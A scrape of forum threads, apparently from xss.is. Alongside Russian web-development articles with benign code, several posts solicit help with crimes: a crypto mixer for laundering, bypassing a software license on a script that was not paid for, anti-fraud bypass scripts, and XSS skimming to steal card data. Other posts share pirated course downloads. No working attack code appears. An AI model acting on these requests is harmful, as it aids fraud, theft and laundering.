При тестировании на большом количестве элементов, Svelte часто показывает лучшую производительность из-за отсутствия виртуального DOM и меньших накладных расходов. (тут хорошо объясняют - [тык](https://www.freecodecamp.org/news/a-real-world-comparison-of-front-end- frameworks-with-benchmarks-2018-update-e5760fb4a962))

Заключение​

Микрофреймворки предоставляют компактные инструменты для создания современных сайтов, сочетая простоту использования с высокой производительностью. Они особенно хорошо подходят для проектов, где важны скорость загрузки, эффективность использования ресурсов и простота поддержки.

По мере развития, микрофреймворки, вероятно, будут играть все более важную роль в экосистеме веб-разработки. Их философия "меньше — лучше" не только способствует созданию более легковесных и эффективных приложений, но и поощряет более глубокое понимание основ веб-разработки.

А если статью описать одним предложением? Микрофреймворки — это не просто альтернатива более крупным фреймворкам, а отдельная категория инструментов, которая заслуживает внимания каждого веб-разработчика, стремящегося к созданию быстрых, эффективных и масштабируемых веб-приложений.

How i can...?
ID: 67668b27b4103b69df375d1b
Thread ID: 88327
Created: 2023-05-18T21:10:33+0000
Last Post: 2023-05-23T23:36:52+0000
Author: redsnow56
Replies: 3 Views: 485

Hello all, maybe is possible to block call back links from dll file ? Please help me 😇

Вопрос по коду php
ID: 67668b27b4103b69df375cd9
Thread ID: 112032
Created: 2024-04-05T10:23:04+0000
Last Post: 2024-04-05T11:17:13+0000
Author: qvp
Replies: 2 Views: 484
Ошибка...

О Ш И Б К А !!!

'; ######################################################################################## ######################################################################################## } ?>

Друзья этот скрипт выдает файл на загрузку. в строке $filename = "file.jpg"; нужно прописать файл, что бы он рандомно изменялся при каждой новой отдаче файла. Я забыл как прописывать, давно не пользовался скриптом. Кто шарит напишите как прописать

Looking For Experienced Software Developer
ID: 67668b27b4103b69df375ccc
Thread ID: 114024
Created: 2024-05-07T03:12:13+0000
Last Post: 2024-05-07T03:12:13+0000
Author: BestDealz
Replies: 0 Views: 482

Hello I am in need of an experienced software developer that can work and design a bot to predict the outcome of seed hash.
Work will be rewarded and must be willing to work through guarantor. Please dont waste my time!!

MUST BE EXPERIENCED DONT WASTE MY TIME!!

EXAMPLE: I need something that can solve this to tell the outcome more details in TG

View attachment 83963

For more details please dm me on Telegram or in here
My TG: @TOPG69991

Посоветуйте миксер криптовалют с API
ID: 67668b27b4103b69df375cfc
Thread ID: 101337
Created: 2023-10-31T03:23:42+0000
Last Post: 2023-11-01T22:49:55+0000
Author: REDRUM
Replies: 1 Views: 482

Нужен какой то миксер, который имеет апи, что бы просто и быстро миксовать крипту. Посоветуйте плиз)

JS I С чего начать обучение ?
ID: 67668b27b4103b69df375d5e
Thread ID: 61914
Created: 2022-01-24T15:52:56+0000
Last Post: 2022-01-26T13:03:49+0000
Author: P_Gorkogo
Replies: 9 Views: 481

Сабж - как наиболее продуктивно, структурированно начать изучать этот ЯП ? Деньги на курсы есть, но есть вопрос актуальности и полноты информации, не хочется потратить время, такие варианты как skillbox и аналоги, на udemy есть курс WEB-разработчик 2021 + Полный курс по JavaScript + React - с нуля до результата от Иван Петриченко , куда вообще смотреть и за что хвататься ?

Looking Coder For Emailjs
ID: 67668b27b4103b69df375cfb
Thread ID: 101462
Created: 2023-11-01T15:57:00+0000
Last Post: 2023-11-06T11:58:39+0000
Author: MMOSTEWIE
Replies: 3 Views: 474

looking that can do this with emailjs on my source code(jS)
i also need to find programmer who can create firebase.google project tool
PM TG MMOSTEWIE or inbox

1698854046566.png

1698854053090.png

Книги / курсы | HTML 5, CSS 3 / PHP, MySQL, JavaScript, CSS и HTML 5 (pdf) / Django 3.0 (pdf) / HTML/CSS[geekbrains]
ID: 67668b27b4103b69df375d67
Thread ID: 60057
Created: 2021-12-14T18:58:52+0000
Last Post: 2021-12-14T18:58:52+0000
Author: 7e7_
Replies: 0 Views: 471

Книги и 2 курса от гигабрейн:zns6::zns6::zns6:

Spoiler: HTML 5, CSS 3 и Web 2.0 [Разработка современных Web-сайтов]

В книге описываются:

— Язык HTML и принципы создания содержимого Web-страниц.

— Язык CSS и принципы создания представления Web-страниц.

— Возможности HTML 5 и CSS 3, уже поддерживаемые современными Web- обозревателями.

— Основы Web-программирования, язык JavaScript и принципы создания поведения Web-страниц.

— Библиотека Ext Core — инструмент, призванный упростить труд Web- программиста.

— Создание интерактивных Web-страниц с конкретными примерами.

— Реализация подгружаемого и генерируемого содержимого и семантической разметки данных средствами JavaScript.

— Использование специальных средств — Web-форм, элементов управления и свободных контейнеров — для обеспечения дополнительной функциональности Web- сайтов.

— Реализация программного рисования на Web-страницах средствами HTML 5.

В результате читатель создаст полнофункциональный Web-сайт — справочник по HTML и CSS. Конечно, это только пример — данные технологии можно применить и для разработки любого другого Web-сайта.

Скачать - mega.nz/file/9aInlQyY#DbL3l5bmyvm7tpaAiK9LZLdJRPp7le_0-Vx2r8Hk-Q4

Spoiler: Создаем динамические веб-сайты с помощью PHP, MySQL, JavaScript, CSS и HTML 5 (pdf)

Новое (5-е) издание признанного бестселлера, описывающее как клиентские, так и серверные аспекты веб-разработки. Эта книга поможет вам освоить динамическое веб-программирование с применением самых современных технологий. Книга наполнена ценными практическими советами, содержит подробный теоретический материал. Для закрепления материала автор рассказывает, как создать полнофункциональный сайт, работающий по принципу социальной сети, включая рассказ о React.js.

  • Изучите важнейшие аспекты языка РНР и основы объектно-ориентированного программирования.
  • Познакомьтесь с базой данных МySQL.
  • Управляйте соokie-файлами и сеансами, обеспечивайте высокий уровень безопасности.
  • Пользуйтесь фундаментальными возможностями языка ЈavaScript.
  • Применяйте вызовы АЈАХ, чтобы значительно повысить динамику вашего сайта.
  • Изучите основы CSS для форматирования и оформления ваших страниц.
  • Освойте продвинутые возможности НTМL5: геолокацию, обработку аудио и видео, отрисовку на холсте.

Скачать - mega.nz/file/AHZAQJbR#Msud5kANfsb7MOy0OWCCAEkxgt2R9RPbXjGGSm0kFr4

Spoiler: Django 3.0. Практика создания веб-сайтов на Python (pdf)

Книга посвящена созданию веб-сайтов на языке Python с использованием веб- фреймворка Django 3.0. Рассмотрены новинки Django 3.0 и дано наиболее полное описание его инструментов: моделей, контроллеров, шаблонов, средств обработки пользовательского ввода, включая выгруженные файлы, разграничения доступа, посредников, сигналов, инструментов для отправки электронной почты, кэширования и пр. Рассмотрены дополнительные библиотеки, производящие обработку BBCode-тегов, CAPTCHA, вывод графических миниатюр, аутентификацию через социальные сети (в частности, ""ВКонтакте""), интеграцию с Bootstrap. Рассказано о программировании веб-служб REST, использовании и настройке административного веб-сайта Django, публикации сайтов с помощью веб-сервера Uvicorn, работе с базами данных PostgreSQL, кэшировании сайтов с помощью Memcached и Redi. Подробно описано создание полнофункционального веб-сайта - электронной доски объявлений, веб-службы, работающей в его составе, и тестового фронтенда для нее, написанного на Angular.
Электронное приложение-архив на сайте издательства содержит коды всех примеров.

Скачать - mega.nz/file/5OJHhA6R#PO21_gWUvtI8URoBHb7Qk2L_bRTui7BkLppf2ZSItT0

Spoiler: [geekbrains] HTML5 и CSS3 Современные средства Web-разработки.

Чему Вы научитесь:

Размечать страницу при помощи новых семантических тегов HTML5: header, footer, aside, nav и других;
Использовать новые поля ввода для создания автоматически валидируемых форм без JavaScript;
Создавать восхитительные сайты используя новые возможности CSS3;
Использовать тени, скругленные углы блоков без использования изображений;
Создавать текстовые эффекты: вдавленный текст, неоновое свечение, эффект огня;
Использовать на своих сайтах нестандартные загружаемые шрифты
Создавать страницы, одинаково хорошо выглядящие на устройствах с разным разрешением экрана при помощи медиазапросов;
Определять поддерживаются ли возможности HTML5/CSS3 в браузере пользователя с помощью библиотеки Modernizr;
Создавать быстрые и современные сайты на основе шаблона HTML5 Boilerplate и css-фреймворка Twitter Bootstrap;
Рисовать на холсте: создавать статическую 2d-графику и анимацию;
Использовать встроенные возможности браузера для воспроизведения аудио и видео на веб-страницах;
Определять местоположение пользователя при помощи средств геолокации.

Скачать - cloud.mail.ru/public/5Ct7/12mAncGct?1e5a3a93
Пароль - ghj$z#x8dujmf

Spoiler: HTML/CSS[geekbrains]

HTML/CSS

Основы создания сайтов
Без какого языка не обойтись, работая с любой веб-технологией? Конечно же, без HTML/CSS!

Знание HTML/CSS - это основа для дальнейшего изучения серверных языков программирования и один из основных инструментов работы верстальщика, программиста или дизайнера. Изучив HTML - язык гипертекстовой разметки - вы сможете создать статичную веб-страничку или веб-сайт. Язык CSS - каскадные таблицы стилей - позволит оформить сверстанный сайт в соответствии с любой задумкой дизайнера.

Курс "HTML/CSS. Основы создания сайтов" от GeekBrains построен на принципе обучения через практику: студенты создают сайт интернет-магазина и в течение все работы над проектом изучают свойства и возможности применения HTML/CSS. Завершив курс, каждый учащийся создаст готовый первый кейс для будущего портфолио.

Скачать - mega.nz/#F!sKIF1YTQ
ключ: !JKKTJOZ7kHKSxR30zNuNVg

Spoiler: Котики <3

photo_2021-12-15_00-01-26.jpgphoto_2021-12-15_00-01-25.jpgphoto_2021-12-15_00-00-56.jpg

problem with postgres database
ID: 67668b27b4103b69df375d7d
Thread ID: 56314
Created: 2021-09-05T19:11:15+0000
Last Post: 2021-09-09T21:53:25+0000
Author: tcpx51
Replies: 2 Views: 466

Tengo un problema en una aplicación conectada a una base de datos SQL de postgres, ya está cargada y accesible pero la aplicación no reconoce al usuario y la contraseña para ingresar me dice incorrecta, hay alguna forma de verificar el usuario y la contraseña o de hecho restablecer la contraseña? por favor muchas gracias

Как сделать такую подпись в MetaMask ?
ID: 67668b27b4103b69df375d49
Thread ID: 69247
Created: 2022-06-26T20:20:35+0000
Last Post: 2022-07-13T22:37:12+0000
Author: HackLiLBITCH
Replies: 4 Views: 465

Как сделать такую подпись ?

Нуждаюсь в кодере для скрипта под шеллы
ID: 67668b27b4103b69df375cea
Thread ID: 107636
Created: 2024-02-06T16:18:40+0000
Last Post: 2024-02-06T16:18:40+0000
Author: highlvl
Replies: 0 Views: 464

1

need help to bypass Envato License
ID: 67668b27b4103b69df375cdf
Thread ID: 110430
Created: 2024-03-14T20:57:17+0000
Last Post: 2024-03-15T19:03:52+0000
Author: codeless
Replies: 1 Views: 463

Hello i have a script from envato not purchased found somewhere anybody can help me to bypass authentication

i believe this code is doing everything

PHP:Copy to clipboard

function getTemplates()
{
    $param['purchasecode'] = env("PURCHASECODE");
    $param['website']      = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'] . ' - ' . env("APP_URL");
    $url                   = 'https://license.viserlab.com/updates/templates/' . systemDetails()['name'];
    $response              = CurlRequest::curlPostContent($url, $param);
    if ($response) {
        return $response;
    } else {

        return null;
    }
}
Help generate apk filenames with numbers, PHP
ID: 67668b27b4103b69df375ce6
Thread ID: 108161
Created: 2024-02-13T10:13:46+0000
Last Post: 2024-02-14T00:03:58+0000
Author: kriz84
Replies: 2 Views: 462

Hello,
I need help on my php file, I hope someone can help me
Currently my php generate APK files with random filenames, this i want to change

This code needs to be changed:

$packagebotone = generateRandomString();
$packagebottwo = generateRandomString();

$apk = generateRandomString() . "_release" . "apk;

$packagebotone = generateRandomString();
$packagebottwo = generateRandomString();

Click to expand...

So that means the output of the APK filenames is for example zGhjJg _release.apk

But I want that the output would be app-release.apk, app-release-1.apk, app- release-2.apk and so on.

I searched myself everywhere but couldn't find information.
Can anybody help me here please?

Thanks

tampermonkey есть ли толковые скрипты для обхода фрода?
ID: 67668b27b4103b69df375cd1
Thread ID: 113771
Created: 2024-05-02T21:19:01+0000
Last Post: 2024-05-02T21:19:01+0000
Author: proffesor_green
Replies: 0 Views: 454

tampermonkey есть ли толковые скрипты для обхода фрода? насколько это вообще рабочая тема?

email extractor / combos extractor
ID: 67668b27b4103b69df375cf7
Thread ID: 103526
Created: 2023-12-05T08:28:44+0000
Last Post: 2023-12-05T08:28:44+0000
Author: dealwithme
Replies: 0 Views: 449

close please

Looking For Experienced Software Developer $$
ID: 67668b27b4103b69df375ccd
Thread ID: 114023
Created: 2024-05-07T03:10:03+0000
Last Post: 2024-05-07T03:10:03+0000
Author: BestDealz
Replies: 0 Views: 449

Hello I am in need of an experienced software developer that can work and design a bot to predict the outcome of seed hash.
Work will be rewarded and must be willing to work through guarantor. Please dont waste my time!!

MUST BE EXPERIENCED DONT WASTE MY TIME!!

EXAMPLE: I need something that can solve this to tell the outcome more details in TG
Screenshot (123).png

For more details please dm me on Telegram or in here
My TG: @TOPG69991

Что почитать для начинающего вебмастера?
ID: 67668b27b4103b69df375cd3
Thread ID: 113516
Created: 2024-04-29T10:50:00+0000
Last Post: 2024-04-29T10:50:00+0000
Author: sap4eg
Replies: 0 Views: 444

Книги, статьи и пр.

Путь к NodeJS
ID: 67668b27b4103b69df375d78
Thread ID: 57199
Created: 2021-09-29T18:39:45+0000
Last Post: 2021-11-06T23:09:40+0000
Author: Wvrhol
Replies: 4 Views: 443

Всем привет, я прекрасно понимаю что ответ на мой вопрос можно найти в гугле, я просто хочу почитать мнения и советы людей которые разбираются в этой технологии.
Где-то с неделю назад меня посетило сильное желание выучить NodeJS, из базовых знаний на тот момент был чистый JS, который я учил пару лет назад и знания python(играет ли он тут роль вообще?)
Ну я и решил освежить знания js'a прочитал учебник от https://learn.javascript.ru/ (скорее просмотрел и пописал немного кода) как я понял для изучения ноды важно знать только синтаксис.
Ну вот взялся я за ноду, и както тяжело идет обучение, много непонятных тем, постоянно отвлекаюсь на гуглежку каких-то общих вещей.
По ноде смотрел вот этот курс https://www.youtube.com/playlist?list=PLM7wFzahDYnHYn81-oqavYIp6vaEd5gdH
Подскажите к чему стоит вернуться, и что лучше изучить перед тем как лезть к NodeJS, и какие есть ресурсы для изучения технологии?

Sniffing
ID: 67668b27b4103b69df375cda
Thread ID: 111743
Created: 2024-04-01T17:07:26+0000
Last Post: 2024-04-02T18:48:39+0000
Author: Djr77777
Replies: 1 Views: 443

Anybody willing to teach me JavaScript sniffing xss attacks to get a bunch of cards off shops for a price leave your telegram only reputable people only that know what there doing want to learn and sell to shops in the near future thanks

Will come xmr ready for sure and we can I’m sure work something else want to learn we all have to start from somewhere am I right? No noobs only reputable people only that know what they’re doing

Looking to learn from a pro and sell cards to shops thanks :) hopefully posted this in the correct place

Устали от SPА? Время для динамичных тусовок на островах
ID: 67668b27b4103b69df375caf
Thread ID: 125581
Created: 2024-10-26T14:14:26+0000
Last Post: 2024-10-26T14:14:26+0000
Author: hackeryaroslav
Prefix: Статья
Replies: 0 Views: 442

Авторство: hackeryaroslav

Источник:xss.is

В веб-разработки мы наблюдаем интересный феномен: всё больше компаний пересматривают свой подход к построению веб-приложений, отходя от классических Single Page Applications (SPA) в пользу более гибких и эффективных решений. Давайте глубоко погрузимся в три ключевых тренда, которые формируют будущее веб-разработки.

Почему компании снова выбирают MPA?​

Компании вроде GitHub и Shopify уже начали переходить к мультистраничным приложениям. Что интересно, современные MPA значительно отличаются от тех, что мы видели в начале 2000-х. Ранее они были громоздкими, медленно загружались и не давали хорошего пользовательского опыта. Теперь же благодаря новым технологиям они вернули себе актуальность, сохранив простоту архитектуры, но повысив производительность и гибкость.

Что не так с SPA?​

Архитектура SPA долгое время была популярной благодаря своей интерактивности и возможности без перезагрузки загружать контент. Но у неё есть и свои слабые места:

  • Большой начальный бандл : Вся логика приложения загружается сразу, что увеличивает время первого рендера.
  • Проблемы с SEO : Поисковым системам сложно индексировать контент, так как он загружается динамически.
  • Зависимость от JavaScript : Приложение не работает, если у пользователя отключен JS.

Эти проблемы побудили компании искать альтернативные подходы — и улучшенные MPA стали ответом на вызовы.

Преимущества современных MPA​

Современные мультистраничные приложения сочетают лучшие стороны традиционной архитектуры с новыми технологиями. Вот ключевые преимущества, которые они предлагают:

1. Производительность первой загрузки

  • Меньший размер начального JavaScript-бандла : Загружается только необходимое для конкретной страницы.
  • Быстрая первая отрисовка (FCP) : Контент появляется на экране быстрее.

2. SEO и доступность

  • Мгновенная индексация контента : Поисковые роботы видят страницу в том виде, в каком её видит пользователь.
  • Семантическая разметка : Приложение сразу поддерживает HTML5 и улучшает доступность.

3. Надёжность и предсказуемое поведение

  • Работа без JavaScript : Если клиент отключил JavaScript, страницы всё равно загружаются.
  • Меньше точек отказа : Каждая страница автономна и не зависит от сложной клиентской логики.

Современные MPA используют технологии, обеспечивающие плавный пользовательский опыт и быструю загрузку. Рассмотрим простой пример с Node.js и Express , где добавляются возможности для прогрессивного улучшения и оптимизации.

JavaScript:Copy to clipboard

// server.js
const express = require('express');
const turbolinks = require('turbolinks-express');
const app = express();

// Добавляем поддержку Turbolinks для плавной навигации
app.use(turbolinks());

// Настраиваем кэширование и оптимизацию
app.use(express.static('public', {
maxAge: '1d',
etag: true,
lastModified: true
}));

// Роутинг с поддержкой частичной загрузки контента
app.get('/products', async (req, res) => {
const products = await db.getProducts();

if (req.headers['turbolinks-referrer']) {
// Если запрос через Turbolinks, возвращаем только контент
res.render('products/partial', { products });
} else {
// Иначе возвращаем полную страницу
res.render('products/index', { products });
}
});

// Прогрессивное улучшение с помощью JavaScript
app.get('/api/products/search', async (req, res) => {
const results = await db.searchProducts(req.query.term);
res.json(results);
});

А теперь посмотрим на клиентскую часть:

JavaScript:Copy to clipboard

document.addEventListener('turbolinks:load', () => {
  // Инициализация интерактивных элементов
  initializeSearchForm();
  initializeLazyLoading();
});

function initializeSearchForm() {
  const searchForm = document.querySelector('.search-form');
  if (!searchForm) return;

  searchForm.addEventListener('input', async (e) => {
    const searchTerm = e.target.value;
    if (searchTerm.length < 3) return;

    try {
      const response = await fetch(`/api/products/search?term=${searchTerm}`);
      const results = await response.json();
      updateSearchResults(results);
    } catch (error) {
      console.error('Ошибка поиска:', error);
    }
  });
}

Что здесь улучшено?

  • Turbolinks позволяет перезагружать только часть страницы, что снижает задержки.
  • Кэширование и оптимизация загрузки увеличивают производительность.
  • Прогрессивное улучшение делает приложение устойчивым к отключённому JavaScript.

Оптимизация производительности: ключевые приёмы​

Чтобы извлечь максимум из MPA, разработчики применяют несколько важных техник оптимизации:

1. Предварительная загрузка ресурсов

Ускоряет загрузку, заранее подгружая важные файлы:

HTML:Copy to clipboard

<head>
<link rel="preload" href="/assets/critical.css" as="style">
<link rel="prefetch" href="/assets/next-page.js">
<link rel="preconnect" href="https://api.example.com">
</head>

2. Частичная гидратация компонентов

Эта техника позволяет загружать JavaScript только для тех элементов, которые действительно нужны:

JavaScript:Copy to clipboard

class DynamicComponent extends HTMLElement {
connectedCallback() {
if (this.dataset.hydrated) return;

// Загружаем JavaScript только для этого компонента
import('./components/dynamic-component.js')
.then(module => {
module.initialize(this);
this.dataset.hydrated = 'true';
});
}
}

customElements.define('dynamic-component', DynamicComponent);

Islands Architecture: подход к гидратации​

Концепция и преимущества​

Islands Architecture, предложенная Джейсоном Миллером, представляет собой подход к построению веб-приложений, где интерактивные компоненты ("острова") существуют в море статического HTML. Этот подход особенно эффективен для контент-ориентированных сайтов с отдельными интерактивными элементами.

Рассмотрим пример реализации с использованием современных инструментов:

JavaScript:Copy to clipboard

// islands/ShoppingCart.js
export class ShoppingCart extends HTMLElement {
constructor() {
super();
this.items = new Map();
}

async connectedCallback() {
// Загружаем только необходимые компоненты
const { createCart } = await import('./cart-logic.js');

this.innerHTML = `
<div class="cart-container">
<button class="cart-toggle">Корзина (<span>0</span>)</button>
<div class="cart-details" hidden>
<ul class="cart-items"></ul>
<div class="cart-total">Итого: <span>0</span> ₽</div>
</div>
</div>
`;

createCart(this);
}

// Методы для работы с корзиной
addItem(product) {
// Реализация добавления товара
}

updateTotal() {
// Обновление общей суммы
}
}

customElements.define('shopping-cart', ShoppingCart);

Оптимизация Islands Architecture​

Для максимальной эффективности Islands Architecture важно правильно организовать загрузку и инициализацию компонентов:

JavaScript:Copy to clipboard

// island-loader.js
const islands = new Set();

// Наблюдаем за появлением островов в DOM
const observer = new IntersectionObserver((entries) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
const island = entry.target;
if (!islands.has(island)) {
hydrateIsland(island);
islands.add(island);
}
}
});
});

async function hydrateIsland(island) {
const componentName = island.dataset.component;
try {
const module = await import(`/islands/${componentName}.js`);
module.default(island);
} catch (error) {
console.error(`Failed to hydrate island ${componentName}:`, error);
}
}

// Находим и начинаем наблюдение за островами
document.querySelectorAll('[data-island]').forEach(island => {
observer.observe(island);
});

Inertia.js и смешанная архитектура: Лучшее из двух миров​

Inertia.js представляет собой подход, который позволяет создавать монолитные приложения, сохраняя при этом удобство разработки SPA. Давайте рассмотрим, как это работает на практике.

Базовая настройка Inertia.js​

Давайте рассмотрим базовую настройку Inertia.js на примере простого приложения с использованием Laravel и Vue 3. Начнем с конфигурации клиентской части.
В файле app.js мы создаем Inertia приложение и указываем, как обрабатывать страницы:

JavaScript:Copy to clipboard

// app.js
import { createInertiaApp } from '@inertiajs/inertia-vue3'
import { createApp, h } from 'vue3'

createInertiaApp({
resolve: name => require(`./Pages/${name}`),
setup({ el, App, props, plugin }) {
createApp({ render: () => h(App, props) })
.use(plugin)
.mount(el)
},
})

Здесь мы используем функцию createInertiaApp, которая инкапсулирует все необходимые настройки для работы с Inertia.

Серверная часть на Laravel​

Теперь перейдем к серверной части. Мы настроим маршрут для отображения пользователей:

PHP:Copy to clipboard

// routes/web.php
Route::get('/users', function () {
return Inertia::render('Users/Index', [
'users' => User::paginate(10)->through(fn($user) => [
'id' => $user->id,
'name' => $user->name,
'email' => $user->email,
])
]);
});

Эта конфигурация позволяет нам отправлять данные пользователей непосредственно в компонент Vue.

Клиентский компонент на Vue​

Теперь создадим компонент Vue для отображения списка пользователей. В файле Pages/Users/Index.vue мы реализуем интерфейс:

JavaScript:Copy to clipboard

<!-- Pages/Users/Index.vue -->
<template>
<div class="users-container">
<h1>Пользователи</h1>

<div class="search-box">
<input
type="text"
v-model="search"
@input="debouncedSearch"
placeholder="Поиск пользователей..."
>
</div>

<div class="users-list">
<div v-for="user in users.data" :key="user.id" class="user-card">
<h3>{{ user.name }}</h3>
<p>{{ user.email }}</p>
<button @click="editUser(user)">Редактировать</button>
</div>
</div>

<pagination :links="users.links" />
</div>
</template>

<script>
import { ref, onMounted } from 'vue'
import { usePage, router } from '@inertiajs/inertia-vue3'
import debounce from 'lodash/debounce'

export default {
props: {
users: Object,
},

setup(props) {
const search = ref('')

const debouncedSearch = debounce(() => {
router.get('/users', { search: search.value }, {
preserveState: true,
preserveScroll: true,
})
}, 300)

function editUser(user) {
router.get(`/users/${user.id}/edit`)
}

return {
search,
debouncedSearch,
editUser,
}
}
}
</script>

Здесь мы добавляем функциональность для поиска и редактирования пользователей. Обратите внимание на использование дебаунса, что улучшает производительность интерфейса.

Продвинутые техники с Inertia.js​

  1. Управление состоянием и кэширование:

Рассмотрим, как мы можем кэшировать пользователей для оптимизации производительности:

JavaScript:Copy to clipboard

// store/users.js
import { defineStore } from 'pinia'

export const useUsersStore = defineStore('users', {
state: () => ({
cachedUsers: new Map(),
lastFetch: null,
}),

actions: {
async fetchUser(id) {
// Проверяем кэш
if (this.cachedUsers.has(id)) {
const cached = this.cachedUsers.get(id)
if (Date.now() - cached.timestamp < 5 * 60 * 1000) {
return cached.data
}
}

// Если нет в кэше или устарел, загружаем
const response = await router.get(`/api/users/${id}`)
const userData = response.data

this.cachedUsers.set(id, {
data: userData,
timestamp: Date.now()
})

return userData
}
}
})
  1. Здесь мы используем Pinia для управления состоянием и кэшируем пользователей, чтобы снизить нагрузку на сервер.

Оптимизация производительности​

Важно также обеспечить, чтобы данные, отправляемые пользователю, кэшировались правильно. Для этого мы создаем middleware:

JavaScript:Copy to clipboard

// middleware/cacheControl.js
export default function cacheControl({ response }) {
if (process.env.NODE_ENV === 'production') {
response.header('Cache-Control', 'public, max-age=31536000, immutable');
}
}

// Использование в компоненте
export default {
middleware: ['cacheControl'],
// ...
}

Интеграция с внешними сервисами​

Создадим универсальный адаптер для работы с внешними API:

JavaScript:Copy to clipboard

// services/apiAdapter.js
export class ApiAdapter {
constructor(baseURL, options = {}) {
this.baseURL = baseURL;
this.options = {
timeout: 5000,
retries: 3,
...options
};
}

async request(endpoint, method = 'GET', data = null) {
let attempts = 0;

while (attempts < this.options.retries) {
try {
const response = await fetch(`${this.baseURL}${endpoint}`, {
method,
headers: {
'Content-Type': 'application/json',
...this.options.headers
},
body: data ? JSON.stringify(data) : null,
signal: AbortSignal.timeout(this.options.timeout)
});

if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}

return await response.json();
} catch (error) {
attempts++;
if (attempts === this.options.retries) {
throw error;
}
// Экспоненциальная задержка перед повторной попыткой
await new Promise(resolve =>
setTimeout(resolve, Math.pow(2, attempts) * 100)
);
}
}
}
}

Продвинутая реализация Modern MPA​

1.1 Система маршрутизации с поддержкой частичной загрузки​

Давайте рассмотрим, как можно реализовать такую систему маршрутизации с использованием JavaScript. Эта реализация позволит нам эффективно управлять кэшированием страниц, а также обрабатывать переходы между ними, минимизируя нагрузку на сервер.

JavaScript:Copy to clipboard

// router/index.js
class Router {
  constructor(options = {}) {
    this.routes = new Map();
    this.middlewares = [];
    this.options = {
      cacheTimeout: 5 * 60 * 1000, // 5 минут
      prefetch: true,
      ...options
    };
   
    this.pageCache = new Map();
    this.setupEventListeners();
  }

  use(middleware) {
    this.middlewares.push(middleware);
    return this;
  }

  route(path, handler) {
    this.routes.set(path, handler);
    return this;
  }

  async handleRequest(path, context = {}) {
    // Проверяем кэш
    const cachedPage = this.pageCache.get(path);
    if (cachedPage && Date.now() - cachedPage.timestamp < this.options.cacheTimeout) {
      return cachedPage.content;
    }

    // Выполняем промежуточное ПО
    for (const middleware of this.middlewares) {
      await middleware(context);
    }

    const handler = this.routes.get(path) || this.routes.get('*');
    if (!handler) {
      throw new Error(`No handler for path: ${path}`);
    }

    const content = await handler(context);
   
    // Кэшируем результат
    this.pageCache.set(path, {
      content,
      timestamp: Date.now()
    });

    return content;
  }

  setupEventListeners() {
    window.addEventListener('popstate', async (e) => {
      const path = window.location.pathname;
      const content = await this.handleRequest(path, {
        historyAction: 'pop',
        state: e.state
      });
      this.updatePage(content);
    });

    if (this.options.prefetch) {
      this.setupPrefetching();
    }
  }

  setupPrefetching() {
    const observer = new IntersectionObserver((entries) => {
      entries.forEach(entry => {
        if (entry.isIntersecting) {
          const link = entry.target;
          const path = link.getAttribute('href');
          if (path && !this.pageCache.has(path)) {
            this.prefetchPage(path);
          }
        }
      });
    });

    // Наблюдаем за всеми ссылками на странице
    document.querySelectorAll('a[href^="/"]').forEach(link => {
      observer.observe(link);
    });
  }

  async prefetchPage(path) {
    try {
      const content = await this.handleRequest(path, { prefetch: true });
      this.pageCache.set(path, {
        content,
        timestamp: Date.now()
      });
    } catch (error) {
      console.warn(`Failed to prefetch ${path}:`, error);
    }
  }

  updatePage(content) {
    const parser = new DOMParser();
    const newDoc = parser.parseFromString(content, 'text/html');
   
    // Обновляем только изменившиеся части
    const oldMain = document.querySelector('main');
    const newMain = newDoc.querySelector('main');
    if (oldMain && newMain) {
      oldMain.replaceWith(newMain);
    }

    // Обновляем заголовок
    document.title = newDoc.title;

    // Обновляем мета-теги
    this.updateMetaTags(newDoc);

    // Перезагружаем скрипты
    this.reloadScripts(newDoc);
  }

  updateMetaTags(newDoc) {
    const oldMetas = Array.from(document.getElementsByTagName('meta'));
    const newMetas = Array.from(newDoc.getElementsByTagName('meta'));

    oldMetas.forEach(oldMeta => {
      const newMeta = newMetas.find(meta =>
        meta.getAttribute('name') === oldMeta.getAttribute('name') ||
        meta.getAttribute('property') === oldMeta.getAttribute('property')
      );
     
      if (!newMeta) {
        oldMeta.remove();
      } else if (newMeta.getAttribute('content') !== oldMeta.getAttribute('content')) {
        oldMeta.setAttribute('content', newMeta.getAttribute('content'));
      }
    });
  }

  reloadScripts(newDoc) {
    const scripts = Array.from(newDoc.getElementsByTagName('script'))
      .filter(script => !script.getAttribute('async'));

    const loadScript = (script) => {
      return new Promise((resolve, reject) => {
        const newScript = document.createElement('script');
        Array.from(script.attributes).forEach(attr => {
          newScript.setAttribute(attr.name, attr.value);
        });
        newScript.textContent = script.textContent;
        newScript.onload = resolve;
        newScript.onerror = reject;
        document.body.appendChild(newScript);
      });
    };

    return scripts.reduce((promise, script) => {
      return promise.then(() => loadScript(script));
    }, Promise.resolve());
  }
}

Как это работает​

  1. Кэширование страниц : Мы используем Map для хранения кэшированных страниц, что позволяет значительно сократить время загрузки при повторных переходах по тем же маршрутам.
  2. Middleware : Поддержка промежуточного ПО позволяет добавлять функциональность, такую как аутентификация или логирование, перед выполнением основного обработчика маршрута.
  3. Переходы : При нажатии на ссылку или использовании кнопки "назад" браузера вызывается метод handleRequest, который обрабатывает текущий путь, загружая контент либо из кэша, либо с сервера.
  4. Частичная загрузка : Вместо перезагрузки всей страницы система обновляет только необходимые элементы (например, содержимое тега
    ), что значительно ускоряет взаимодействие.
  5. Предварительная загрузка : С помощью IntersectionObserver приложение может предзагружать страницы, когда пользователь наводит курсор на ссылки, обеспечивая мгновенный доступ к контенту.

1.2 Система компонентов для MPA​

Легковесная система компонентов без полной гидратации​

Представленная система компонентов использует Web Components, что позволяет изолировать логику и стили каждого компонента. В этом примере мы создадим компонент поиска, который будет взаимодействовать с API и отображать результаты в режиме реального времени.

JavaScript:Copy to clipboard

// components/BaseComponent.js
export class BaseComponent extends HTMLElement {
  constructor() {
    super();
    this.state = new Proxy({}, {
      set: (target, property, value) => {
        const oldValue = target[property];
        target[property] = value;
        this.stateChanged(property, oldValue, value);
        return true;
      }
    });
  }

  setState(newState) {
    Object.entries(newState).forEach(([key, value]) => {
      this.state[key] = value;
    });
  }

  stateChanged(property, oldValue, newValue) {
    if (oldValue !== newValue) {
      this.render();
    }
  }

  render() {
    // Переопределяется в наследниках
  }

  dispatch(eventName, detail = {}) {
    this.dispatchEvent(new CustomEvent(eventName, {
      detail,
      bubbles: true,
      composed: true
    }));
  }

  // Вспомогательные методы для работы с атрибутами
  static get observedAttributes() {
    return [];
  }

